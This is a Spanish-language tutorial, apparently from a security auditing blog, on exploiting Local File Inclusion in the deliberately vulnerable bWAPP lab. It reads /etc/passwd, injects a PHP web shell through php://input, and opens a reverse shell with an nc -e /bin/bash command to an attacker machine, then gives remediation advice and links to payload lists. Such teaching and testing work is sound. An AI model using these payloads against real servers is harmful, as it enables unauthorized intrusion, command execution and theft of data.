La inclusión de archivos locales (LFI en inglés) es una vulnerabilidad web que permite a un ciberatacante engañar a una aplicación web para que ejecute y/o exponga archivos a través de un servidor web.
Los atacantes tratan de aprovechar ciertas vulnerabilidades en el código fuente para acceder a datos confidenciales o ejecutar scripts maliciosos en el servidor de destino.
El LFI ocurre cuando una aplicación permite incluir un archivo como entrada del usuario y no lo valida correctamente. Por tanto, el atacante puede ver los archivos del sistema porque no se verifica si la entrada recibida del usuario coincide con la variable en el sistema.
Se debe tener en cuenta que el atacante deberá cargar los scripts maliciosos para apuntar al lado del servidor para que los ejecute localmente. Este tipo de ataques se pueden obtener mediante el uso de un navegador de sitios web.
Para los ejemplos que veremos a continuación, vamos a utilizar una aplicación vulnerable que es bWapp (aplicación web vulnerable a este tipo de ataques). Podéis ver más información de la aplicación en http://www.itsecgames.com/
Bien, para explotar está vulnerabilidad vamos a seleccionar el siguiente menú:
Remote & Local File Inclusion
Posteriormente, se nos abrirá una página web en la que vemos el menú del idioma en un desplegable y cuando hagamos clic en “GO” el archivo del idioma seleccionado se nos cargará y cómo podemos comprobar se nos mostrará también en la URL.
Como vemos nos muestra la URL completa, eso quiere decir que va por el método GET, con lo cual es mucho más fácil manipular los parámetros. Si abrimos las herramientas del desarrollador también lo podremos comprobar.
Antes de nada, vamos a explicar rápidamente algunas partes de una URL:
En esta URL, hay dos parámetros que son los que nos interesan: El primero es “ language=lang_eng.php” y el otro es “ action=go”
Como vemos, el primer parámetro llama al archivo lang_eng.php que solo extrae el texto de “ Thanks for your interest in bWAPP!”
 |
| Visto desde el código fuente |
Para comprobar si existe un LFI vamos a facilitarle una ruta que apunte a un archivo de Linux ( etc/passwd) y si la vulnerabilidad existe y es explotable nos mostrará lo que hay en ese archivo. El archivo etc/passwd contiene información sobre todas las cuentas de los usuarios del sistema operativo.
Como se puede apreciar en la imagen, ahora nos muestra todos los usuarios del sistema. Lo que hemos hecho sencillamente, al explotar la vulnerabilidad, es que nos lea todo el contenido del archivo etc/passwd.
Ahora, vamos a complicarlo un poco más. Intentaremos ejecutar algunos comandos php en el servidor.
Comentar antes de nada que php tiene un número de wrappers que a menudo pueden ser utilizados para eludir varios filtros de entrada. Por ejemplo, el PHP Expect Wrapper que permite la ejecución de comandos del sistema.
Pues bien, ya sabiendo esto vamos a ver si es posible manipular la URL usando la función de entrada de PHP. Para ello vamos a utilizar BurpSuite en donde vamos a modificar la petición y añadir nuestro siguiente código php.
Vamos a utilizar el siguiente payload: php://input&cmd=ls
Esta instrucción lo que hace es activar el parámetro cmd para ejecutar comandos dentro del sistema y le indicamos que utilice el comando ls para listar los archivos.
Y por otro lado vamos a modificar también la petición introduciendo lo siguiente: <?php system($_GET['cmd']); Esta es una shell web de PHP. Toma la entrada del parámetro URL, utiliza la función system () para ejecutar comandos que se pasan a través del parámetro GET utilizando ' cmd' .
Ahora vamos a intentar obtener una Shell reversa.
Colocamos en nuestra Kali Linux un puerto a la escucha con un net cat (nc -lnvp puerto) y en la petición solicitaremos que la web ejecute el siguiente comando:
nc -e /bin/bash laipdenuestrakali puerto
Como podemos observar en la imagen anterior, tenemos el control de la máquina, que si os fijáis tenemos acceso con el usuario www-data. Hay que indicar que, cuando instalamos un servidor web Apache, el sistema crea un nuevo usuario y un nuevo grupo que por defecto es llamado www-data.
¿Qué tipo de impacto tiene esta vulnerabilidad?
El impacto de un ataque de inclusión de archivos locales puede variar según la explotación y los permisos de lectura del usuario del servidor web. En función de estos factores, un atacante puede recopilar nombres de usuarios a través de un archivo /etc/passwd, recopilar información útil de los archivos de registro o combinar esta vulnerabilidad con otros vectores de ataque para ejecutar comandos de forma remota.
En resumen, la explotación de un LFI permitiría,
- Recopilación de información confidencial
- Robo de Contraseñas y acceso a la base de datos
- Ejecución remota de código
- Denegación de servicio
- Compromiso del sistema, etc.
Remediaciones:
- No se debe permitir que la ruta del archivo se pueda modificar directamente.
- Para la asignación de ID, guardar las rutas de los archivos en una base de datos segura y proporcionar un ID para cada uno, de esta manera los usuarios sólo podrían visualizar su ID sin ver o alterar la ruta.
- Es importante también montar el servidor con el mínimo privilegio posible, limitando la posibilidad de acceso a archivos del servidor dentro de su propia carpeta.
- Si necesitamos una concatenación dinámica de rutas, debemos asegurarnos de aceptar sólo los caracteres requeridos como "a-Z o 0-9" y no permitir ".." o "/" o "%00" (byte nulo) o cualquier otro carácter inesperado similar.
- Utilizar una lista blanca de archivos permitidos.
- Si se desea hacer una protección mediante programación en lugar de tratar de controlar mediante permisos en el servidor, hay que tener en cuenta que las rutas a ficheros se pueden escribir de dos maneras:
-Directa: escribimos la ruta donde se encuentra el fichero directamente. Se debería eliminar los caracteres “\” o “/” de los datos enviados por los usuarios.
-Relativa: subir hacia directorios superiores mediante el uso de “..\” o “../”. Lo podríamos evitar excluyendo, además de lo anterior, los puntos. Que esto sería otro tipo de vulnerabilidad Path traversal.
Para más información de medidas de protección recomiendo usar la guía Owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
Algunos recursos y payloads para ejecutar este tipo de ataques:
https://github.com/gwen001/SecLists/blob/master/mine/payload-lfi.txt
https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md
Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría